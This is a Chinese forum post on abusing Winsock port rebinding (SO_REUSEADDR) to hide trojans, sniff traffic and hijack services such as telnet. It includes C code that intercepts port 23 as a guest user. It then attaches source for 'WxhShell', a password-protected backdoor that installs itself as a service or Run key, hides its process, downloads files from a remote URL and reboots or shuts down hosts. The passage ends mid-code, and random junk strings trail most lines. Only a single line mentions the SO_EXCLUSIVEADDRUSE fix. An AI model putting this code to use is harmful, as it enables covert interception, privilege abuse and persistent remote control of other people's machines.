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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]I9Hbw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mg H,"G  
Z^i=51  
  saddr.sin_family = AF_INET; !r:X`~\a  
t.sbfLu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =`f6@4H  
jk-hIl&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]C |Zs=5  
ng]jpdeA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MWv_BXQ  
6LUO  
  这意味着什么?意味着可以进行如下的攻击: c}iVBN6~.<  
yc.Vm[!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UGuEZ-r  
"4c ?hH:C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ue:'55  
{R[FwB^7wJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F|K=].  
rn^ 7B-V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O>)<w Ms`  
2 s,[DC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ri]7=.QI`  
2@``=0z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zzsQfI#  
tlw$/tMa  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]>R|4K_  
`ReTfz;o  
  #include QJc3@  
  #include ~b+TkPU   
  #include 3F'{JP  
  #include    H`/Q hE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =5NrkCk#V  
  int main() 5'f4=J$Z)  
  { Z$R6'EUb1  
  WORD wVersionRequested; 9-;ujl?{  
  DWORD ret; R<VNbm;  
  WSADATA wsaData; -.A%c(|Q  
  BOOL val; .Ap-<FB  
  SOCKADDR_IN saddr; W:q79u yX  
  SOCKADDR_IN scaddr; 5t]}(.0+  
  int err; +TW9BU'a^  
  SOCKET s; qbjBN z  
  SOCKET sc; Ov1$7 r@  
  int caddsize; /0Q=}:d  
  HANDLE mt;  Ad)Po  
  DWORD tid;   9] /xAsD  
  wVersionRequested = MAKEWORD( 2, 2 ); %4#,y(dO  
  err = WSAStartup( wVersionRequested, &wsaData ); rj[2XIO  
  if ( err != 0 ) { 0z) 8i P  
  printf("error!WSAStartup failed!\n"); P( >*gp  
  return -1; w=EUwt  
  } {@Y|"qIN  
  saddr.sin_family = AF_INET; h8;B+#f`  
   6~8A$:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 * z|i{=W F  
Wx#((T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); < aeBhg%  
  saddr.sin_port = htons(23); q[4{Xh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \F]X!#&+  
  { )(~s-x^\z@  
  printf("error!socket failed!\n"); [Nb0&:$ay  
  return -1; y6.}h9~  
  } K;jV"R<9  
  val = TRUE; WF0%zxg]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CZB!vh0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Qs2 E>C  
  { yidUtSv=,  
  printf("error!setsockopt failed!\n"); FQ dz":5  
  return -1; 7%?2>t3~  
  } 7'wt/9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~=hM y`Ml  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CJB   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V4cCu~(3;~  
S,Q!Xb@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Va^Y3/  
  { Z;kRQ  
  ret=GetLastError(); ^'EeJN  
  printf("error!bind failed!\n"); oTOr,Mn0\6  
  return -1; R;,&s!\<  
  } N6wea]  
  listen(s,2); WP,Ll\K)7  
  while(1) {awv= s  
  { .`Ey'T_  
  caddsize = sizeof(scaddr); ?sQOz[ig;  
  //接受连接请求 ;,T3C:S?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q) %F#g  
  if(sc!=INVALID_SOCKET) "Y(stRa  
  { yl|?+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f%n],tE6  
  if(mt==NULL) o>rsk 6lNi  
  { Jy&O4g/'5  
  printf("Thread Creat Failed!\n"); [{.e1s<EK  
  break; Q 6djfEN>  
  } OiI[w8  
  } #<ppiu$  
  CloseHandle(mt); r|$@Wsb?#  
  } ~(E.$y7P  
  closesocket(s); m~;fklX S  
  WSACleanup(); tL0<xGI5^  
  return 0; qfp,5@p  
  }   b&:>v9U  
  DWORD WINAPI ClientThread(LPVOID lpParam) +a$'<GvP  
  { #/fh_S'Z  
  SOCKET ss = (SOCKET)lpParam; ~`'!nzP5H  
  SOCKET sc; `.3!  
  unsigned char buf[4096]; kO:|?}Koc  
  SOCKADDR_IN saddr; d-e6hI4b  
  long num; b-pZrnZ!  
  DWORD val; JCoDe.  
  DWORD ret; VOc_7q_=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C!KxY/*Px  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^(<Ecdz(  
  saddr.sin_family = AF_INET; |l\&4/SJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L ]HtmI  
  saddr.sin_port = htons(23); 1Rlg%G'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h LYy  
  { [?rK9I&  
  printf("error!socket failed!\n"); ]dzBm!u  
  return -1; #CKPNk c  
  } qYD$_a  
  val = 100; }Rujh4*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z~[:@mGl  
  { r!H'8O!  
  ret = GetLastError(); m80e^  
  return -1; e>yPFXSk  
  } Y~ j.Kt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7!%/vO0m  
  { 3m RP.<=  
  ret = GetLastError(); Dep.Qfv{-  
  return -1; tHF -OarUO  
  } ~>C@n'\lv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hY$gzls4  
  { H CKD0xx  
  printf("error!socket connect failed!\n"); ;Du+C%  
  closesocket(sc); ? yL3XB>  
  closesocket(ss); Y ,1ZvUOB  
  return -1; ^PwZP;On  
  } ,;3#}OGg  
  while(1) }yQ&[Mt  
  { ~s.~X5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +NIq}fZn9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cd_\?7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l&rS\TCkp  
  num = recv(ss,buf,4096,0); ITcgp K6k  
  if(num>0) MBy0Ky  
  send(sc,buf,num,0); k'O^HMAn!  
  else if(num==0) *nb `DR  
  break; ;bz|)[4/  
  num = recv(sc,buf,4096,0); "Zk# bQ2j  
  if(num>0) )`,||sQ  
  send(ss,buf,num,0); f3,qDbQyJ  
  else if(num==0) >Z0F n  
  break; yVF1*#"  
  } ~Mk{2;x  
  closesocket(ss);  Y j[M>v  
  closesocket(sc); _~q!<-Z  
  return 0 ; .3xpDVW^e  
  } ug?gVK  
M  ::  
A0mj!P9  
========================================================== Xe;Eu  
;<=Z\NX  
下边附上一个代码,,WXhSHELL @bPR"j5D  
0r<?Ve  
========================================================== 4:umD*d 3E  
OS$}ej\  
#include "stdafx.h" 6I)[6R  
PE!/n6  
#include <stdio.h> b2L9%8h  
#include <string.h> @#HB6B  
#include <windows.h> 8 $5 y]%!  
#include <winsock2.h> uD'yzR!]+  
#include <winsvc.h> w&c6iFMd0  
#include <urlmon.h> xIt'o(jQH  
Y-Iu&H+\  
#pragma comment (lib, "Ws2_32.lib") }kJfTsFS  
#pragma comment (lib, "urlmon.lib") n ~c<[  
E[Xqyp!<  
#define MAX_USER   100 // 最大客户端连接数 0.pZlv  
#define BUF_SOCK   200 // sock buffer E6 g]EE  
#define KEY_BUFF   255 // 输入 buffer Whoqs_Mm{  
qV;E% XkkS  
#define REBOOT     0   // 重启 =sm<B^yj  
#define SHUTDOWN   1   // 关机 X`/GiYTu  
#@pgB:~lB  
#define DEF_PORT   5000 // 监听端口 b#uNdq3  
dh9Qo4-{  
#define REG_LEN     16   // 注册表键长度 VtP^fM^{  
#define SVC_LEN     80   // NT服务名长度 _v/w ,z  
fL xGaOT  
// 从dll定义API W4OL{p-\/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Uu_g_b:z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ! qVuhad.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C8{bqmlm@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); + 6noQYe  
Q!9  
// wxhshell配置信息 Cs:?9G  
struct WSCFG { 8 x=J&d  
  int ws_port;         // 监听端口 EF>vu+YK  
  char ws_passstr[REG_LEN]; // 口令 jF$bCbAUce  
  int ws_autoins;       // 安装标记, 1=yes 0=no z6IOVQ*r  
  char ws_regname[REG_LEN]; // 注册表键名 [Sr^CY P(  
  char ws_svcname[REG_LEN]; // 服务名 ?g{--'L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A&?8 rc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nrBpq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 } Z/[ "  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uOQ!av2"Rf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RGu`Jk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f-.dL  
r5RUgt  
}; J# >)+  
/b1+ ^|_  
// default Wxhshell configuration ]iU8n (5f  
struct WSCFG wscfg={DEF_PORT, )])nd "E  
    "xuhuanlingzhe", }}Zwdpo  
    1, V),wDyi  
    "Wxhshell", ~mF^t7n]  
    "Wxhshell", `e`}dgf0S|  
            "WxhShell Service", D%`O.2T Y|  
    "Wrsky Windows CmdShell Service", !1b}M/Wx  
    "Please Input Your Password: ", [X9T$7q#  
  1, DX2_} |$!  
  "http://www.wrsky.com/wxhshell.exe", SD/=e3  
  "Wxhshell.exe" cp:U@Nh(  
    }; 40e(p/Qka  
bmOK 8  
// 消息定义模块 f};RtRo2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _2-fH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *5QN:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f7lt|.p  
char *msg_ws_ext="\n\rExit."; adcH3rV  
char *msg_ws_end="\n\rQuit."; A`B>fI  
char *msg_ws_boot="\n\rReboot..."; B_uhNLd  
char *msg_ws_poff="\n\rShutdown..."; /~(T[\E<  
char *msg_ws_down="\n\rSave to "; J9%I&lu/  
{xD\w^  
char *msg_ws_err="\n\rErr!"; 2jVvK"C  
char *msg_ws_ok="\n\rOK!"; '^n,)oA/G  
.Ei#mG-=}&  
char ExeFile[MAX_PATH]; D_N0j{E  
int nUser = 0; }>5R9  
HANDLE handles[MAX_USER]; w4Uo-zr@  
int OsIsNt; h]Y,gya[yk  
+C}s"qrb@  
SERVICE_STATUS       serviceStatus; 9xN`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `@<~VWe5  
WaPuJ 5;e  
// 函数声明 &ggOm  
int Install(void); lt{D f~c  
int Uninstall(void); a'%eyN  
int DownloadFile(char *sURL, SOCKET wsh); en_W4\7^  
int Boot(int flag); .GSK!1{@  
void HideProc(void); 8I}ATc  
int GetOsVer(void); >"q?P^f/  
int Wxhshell(SOCKET wsl); 'uW&AD p  
void TalkWithClient(void *cs); j].=,M<dxE  
int CmdShell(SOCKET sock); S`Xx('!/|  
int StartFromService(void); LE|DMz|J  
int StartWxhshell(LPSTR lpCmdLine); Q\nIU7:bZ  
*/APe #  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p)qM{`]G\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1`sTGNo  
0iAQ;<*xi  
// 数据结构和表定义 w)XnMyD(P  
SERVICE_TABLE_ENTRY DispatchTable[] = d4m@u$^1B  
{ #AR$'TE#  
{wscfg.ws_svcname, NTServiceMain}, DO 0  
{NULL, NULL} c Cx_tGR"  
}; { .j030Q  
J'E?Z0  
// 自我安装 vn+~P9SHQ  
int Install(void) :caXQ)  
{ .T1n"TfsGO  
  char svExeFile[MAX_PATH]; )GKY#O09x9  
  HKEY key; [k]3#<sS  
  strcpy(svExeFile,ExeFile); czLY+I;V3  
pkE4"M!3=  
// 如果是win9x系统,修改注册表设为自启动 ]Pl Ly:(  
if(!OsIsNt) { UL.YDU)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YO9ofT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C"0vMUZ  
  RegCloseKey(key); 9'=ZxV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K]'t>:G @  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [#SiwhF|  
  RegCloseKey(key); m@y<wk(  
  return 0; ;lQ>>[*  
    } }0C v J4  
  } =3Ohy,5L  
} -uN M_|MO  
else { O9*l6^Scw  
uqM=/T^A  
// 如果是NT以上系统,安装为系统服务 J)EL<K$Z[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YmwXA e:  
if (schSCManager!=0) :CsrcT=  
{ )!lx'>0>  
  SC_HANDLE schService = CreateService pupt__NZ)n  
  ( pE {yVs  
  schSCManager, 4$y P_3  
  wscfg.ws_svcname, Yy{(XBJ~%t  
  wscfg.ws_svcdisp, b(Yxsy{U  
  SERVICE_ALL_ACCESS, S "/-)_{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3=("vR`!  
  SERVICE_AUTO_START, 'A,)PZL9i  
  SERVICE_ERROR_NORMAL, R:`)*=rL%  
  svExeFile, i~LY  
  NULL, $=5kn>[_Z%  
  NULL, GvBmh.  
  NULL, `|<? sjY  
  NULL, ^x2@KMKXZ  
  NULL Ki>XLX,er=  
  ); 25;(`Td 5  
  if (schService!=0) **.g^Pyc  
  { AHU =`z  
  CloseServiceHandle(schService); .JBTU>1]_n  
  CloseServiceHandle(schSCManager); *LEI@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }"&Ye  
  strcat(svExeFile,wscfg.ws_svcname); y"|gC!V}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C[,&Y&`j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K@vU_x0Sl  
  RegCloseKey(key); 9 /=+2SZ  
  return 0; -' =?Hs.  
    } _`. Q7  
  } 3i#'osq  
  CloseServiceHandle(schSCManager); 2;x+#D8  
} tC5>K9Ed  
} (W.G&VSn)  
4N5\sdi  
return 1; *#1J  
} nE56A#,Q,  
G1Vn[[%k  
// 自我卸载 p~v0pi  
int Uninstall(void) P9x':I$  
{ x@@bC=iY$  
  HKEY key; 6$K@s  
m:c0S8#:  
if(!OsIsNt) { qJJ}, 4}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'A9Z ((  
  RegDeleteValue(key,wscfg.ws_regname); >IipWTVo<  
  RegCloseKey(key); lHFk~Qp[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y@<&A~Cl^  
  RegDeleteValue(key,wscfg.ws_regname); RWFvf   
  RegCloseKey(key); |'j,|^<  
  return 0; }nptmc  
  } pjma<^|F  
} [ @2$W?0i  
} TUARYJ6=  
else { m%b# B>J,n  
!AG {`[b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f VJWW):  
if (schSCManager!=0) "8L v  
{ rN,T}M= 2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =y=MljEX  
  if (schService!=0) &(m01  
  { Hp*N%  
  if(DeleteService(schService)!=0) { dl(!{tZ#  
  CloseServiceHandle(schService); 6#Rco%07zI  
  CloseServiceHandle(schSCManager); XRTiC #6  
  return 0; C#B|^A_  
  } R\-]$\1D  
  CloseServiceHandle(schService); K'y|_XsBB)  
  } @aP1[(m  
  CloseServiceHandle(schSCManager); :%h|i&B  
} X6BOB?  
} j_h0 hm]  
MpTOC&NG%s  
return 1; !;K zR&  
} Z)f?X  
{&a6<y#-  
// 从指定url下载文件 ^b4i9n,t1  
int DownloadFile(char *sURL, SOCKET wsh) m ?*h\NaB  
{ 5?0~7^de  
  HRESULT hr; 211V'|a_ >  
char seps[]= "/"; -`NzBuV$2,  
char *token; ,YJn=9pTl  
char *file; &A=c[pc  
char myURL[MAX_PATH]; MY^o0N  
char myFILE[MAX_PATH];  ?<T=g  
/!N=@z)  
strcpy(myURL,sURL); cgO<%_l3`  
  token=strtok(myURL,seps); Y ` Z,52  
  while(token!=NULL) 8T[<&<^-  
  { ^9><qKbO  
    file=token; /.~zk(-&h  
  token=strtok(NULL,seps); !L<z(dV|(  
  } Xpt9$=d  
Xc4zUEO9  
GetCurrentDirectory(MAX_PATH,myFILE); <+<Nsza  
strcat(myFILE, "\\"); /(?s\}O  
strcat(myFILE, file); clk]JA (  
  send(wsh,myFILE,strlen(myFILE),0); t*)!BZ  
send(wsh,"...",3,0); y.-Kqa~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c|K:oi,z  
  if(hr==S_OK) 2%*\XPt)  
return 0; 2XEE/]^  
else zFQm3!.  
return 1; oArXP\#  
j6j4M,UI43  
} #. 71O#!  
`2]TPaWGh  
// 系统电源模块 /} h"f5  
int Boot(int flag) @>8 {J6%\  
{ <8YvsJ  
  HANDLE hToken; ah,"c9YX  
  TOKEN_PRIVILEGES tkp; :^-\KE` 3  
<\ eRa{ef  
  if(OsIsNt) { { `xC~B h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [KCR@__  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^+0>,-)F  
    tkp.PrivilegeCount = 1; ]re}EB\Rs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X4+H8],)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R&$fWV;'  
if(flag==REBOOT) { Xoha.6$l5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !R@jbM  
  return 0; ,9MNB3  
} m4yWhUi(o  
else { x 0K#-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HKIr?  
  return 0; Q#*R({)GH  
} Z>l<.T"t'  
  } RS#C4NG  
  else { 3sW!ya-VZ  
if(flag==REBOOT) { bnPhhsR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "{trK?-8%  
  return 0; 18p4]:L  
} ,`YIcrya:  
else { Z$B%V t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ypxp4B  
  return 0; =LgMG^@mu  
} uy<<m"cA;  
} 8'NT_NPNb  
 FsQoQ#*  
return 1; -f1lu*3\  
} [)kuu  
\(&&ed:  
// win9x进程隐藏模块 cmAdQ)(Kzd  
void HideProc(void) <_]W1V:0  
{ 9M ;Y$Z  
M?o_J4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `~=NBN=tiL  
  if ( hKernel != NULL ) zbGZ\pz  
  { /8<c~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S]Di1E^r;_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U3{4GmrT  
    FreeLibrary(hKernel); YK5(oKFN  
  } [=tIgMmz  
{[hgSVN ;  
return; \Lg4Cx  
} 0cVxP)J+  
mIPDF1= )  
// 获取操作系统版本 $RunGaX!=N  
int GetOsVer(void) KD\sU6  
{ \ H#"  
  OSVERSIONINFO winfo; IYHNN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2+b}FVOe\  
  GetVersionEx(&winfo); >>"@ 0tO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L"NfOST3'R  
  return 1; >yVp1Se  
  else cYXL3)p*Q  
  return 0; n,LM"N:   
} e Qk5:{[  
?RW1%+[  
// 客户端句柄模块 DrbjklcUU  
int Wxhshell(SOCKET wsl) $o9@ ?2  
{ g \ou+M#  
  SOCKET wsh; kbJ4CF}H  
  struct sockaddr_in client; B6KG\,'|  
  DWORD myID; YW&`PJ9o  
MmePhHf  
  while(nUser<MAX_USER) a.RYRq4o  
{ &49WfctT  
  int nSize=sizeof(client); y y[Y=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qQ6@43TC  
  if(wsh==INVALID_SOCKET) return 1; #K/JU{"  
JG7K-W|!c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |[>yJXxEL@  
if(handles[nUser]==0) 4tx6h<L#s  
  closesocket(wsh); }B!io-}  
else m(^N8k1K;  
  nUser++; Plhakngj  
  } @K}h4Yok  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^zS;/%  
Bu+?N%CBi  
  return 0; @8+v6z  
} Ta/ u&t4  
*"4l}&  
// 关闭 socket pU[yr'D.r  
void CloseIt(SOCKET wsh) y$_]}<b  
{  WK@<#  
closesocket(wsh); TtKKU4yp  
nUser--; ez)Ks`  
ExitThread(0); RCxwiZaf33  
} E H%hL5(  
5h Dy62PRr  
// 客户端请求句柄 [N}QCy  
void TalkWithClient(void *cs) <"xqt7f  
{ GCX?W`  
JNJ6HyCU  
  SOCKET wsh=(SOCKET)cs; +Z86Qz_  
  char pwd[SVC_LEN]; b`,Sd.2=('  
  char cmd[KEY_BUFF]; ' I!/I  
char chr[1]; t 7sEY  
int i,j; e=eip?p  
K{V.N</  
  while (nUser < MAX_USER) { 9?~6{!m_9  
rLA-q||  
if(wscfg.ws_passstr) { a2kAZCQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c&{= aIe w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yx,7e(AI`  
  //ZeroMemory(pwd,KEY_BUFF); G007[|  
      i=0; <h}x7y?  
  while(i<SVC_LEN) { xU}J6 Tv  
/L@6Ae  
  // 设置超时 +c, ^KHW  
  fd_set FdRead; T:9M|mD  
  struct timeval TimeOut; E*fa&G~s )  
  FD_ZERO(&FdRead); Kp1 F"!  
  FD_SET(wsh,&FdRead); q^n LC6q  
  TimeOut.tv_sec=8; ;Ru[^p.{  
  TimeOut.tv_usec=0; Q&_#R(3j;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >l/pwb@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6A}tA$*s7  
JnIG;/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); inZ0iU9dy  
  pwd=chr[0]; XW@C_@*J  
  if(chr[0]==0xd || chr[0]==0xa) { q(L.i)w$  
  pwd=0; z"QXPIXPk  
  break; yLK %lP  
  } &0"*.:J9  
  i++; fwMYEj  
    } Ro<x#Uo  
[McqwU/Q  
  // 如果是非法用户,关闭 socket a" T+CA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LP'q$iB!  
} ^N 4Y*NtV7  
g)D@4RM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [z+YX s!N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^tWSu?9  
6d2e WS  
while(1) { *.+F]-  
_`0DO4IU  
  ZeroMemory(cmd,KEY_BUFF);  >;%QW  
lA;^c)  
      // 自动支持客户端 telnet标准   lN{>.q@V`r  
  j=0; +aPe)U<t  
  while(j<KEY_BUFF) { N'$P( bx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5MZv!N   
  cmd[j]=chr[0]; UvB\kIH  
  if(chr[0]==0xa || chr[0]==0xd) { ]#rV]As  
  cmd[j]=0; E}a.qM'  
  break; OYn5k6  
  } RL/7>YQ  
  j++; ua &uR7  
    } FeQo,a  
_bg Zl  
  // 下载文件 jVN=_Y}\  
  if(strstr(cmd,"http://")) { d(R8^v/L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -vk/z+-^!  
  if(DownloadFile(cmd,wsh)) ,# .12Q!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UX.rzYM&T  
  else Kxeq Q@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); riaL[4c  
  } <S6?L[_  
  else { Eb63O  
HU4h.Lm  
    switch(cmd[0]) { u|u)8;'9(  
  _v,Wl/YAp  
  // 帮助 T g3MPa#g  
  case '?': { &TrL!9FtJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >1]hR)Ip  
    break; sCQV-%9  
  } j]5e$e{  
  // 安装 KV9~L`=]i  
  case 'i': { DRXUQH  
    if(Install()) B9cWxe4R#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t7xJ "  
    else ]VtP7 Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KbK!4  
    break; <mTo54g  
    } YN:Sn\`D 8  
  // 卸载 M 0RA&  
  case 'r': { B,Tv9(sv  
    if(Uninstall()) ]~f-8!$$R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TeR bW  
    else !bnnUCTb\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H!6&'=c{k  
    break; tI#65ox#  
    } 2bw.mp&v1  
  // 显示 wxhshell 所在路径 p:{L fQ  
  case 'p': { o54=^@>O<j  
    char svExeFile[MAX_PATH]; xcQ^y}JN  
    strcpy(svExeFile,"\n\r"); D(dV{^} 9  
      strcat(svExeFile,ExeFile); oY,{9H37b  
        send(wsh,svExeFile,strlen(svExeFile),0); :J2^Y4l2  
    break; f><V;D#  
    } v@s"*E/PF7  
  // 重启 Z.unCf3Q  
  case 'b': { Jcs /i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vQnhb %  
    if(Boot(REBOOT)) %]tW2s"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k*F9&-rtN  
    else { iS"6)#a72  
    closesocket(wsh); I|c?*~7*  
    ExitThread(0); dXsL0r*c  
    } $-!7<a-  
    break; hjk]?MC  
    } ,kYX|8SO  
  // 关机 bu \(KR$s  
  case 'd': { EqIs&){  
